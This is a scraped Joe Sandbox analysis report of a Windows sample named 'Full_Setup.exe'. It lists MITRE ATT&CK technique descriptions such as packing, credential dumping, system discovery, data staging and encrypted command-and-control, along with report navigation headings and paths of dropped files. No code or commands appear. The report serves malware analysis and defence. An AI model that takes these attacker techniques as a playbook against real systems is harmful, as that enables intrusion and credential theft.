Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Full_Setup.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_45disy0o.ux0.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hj5wc15q.210.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jgliuv55.hvl.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yi04ku14.sl4.ps1

C:\Users\user\AppData\Local\Temp\b7bd07cc

C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp

C:\Users\user\AppData\Local\Temp\is-KAKC1.tmp\_isetup\_isdecmp.dll

C:\Users\user\AppData\Local\Temp\is-KAKC1.tmp\_isetup\_setup64.tmp

C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp

C:\Users\user\AppData\Local\Temp\is-U34UV.tmp\_isetup\_isdecmp.dll

C:\Users\user\AppData\Local\Temp\is-U34UV.tmp\_isetup\_setup64.tmp

C:\Users\user\AppData\Roaming\UltraMedia\is-SGS9L.tmp

C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe (copy)

Static File Info

General

Windows Analysis Report
Full_Setup.exe

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre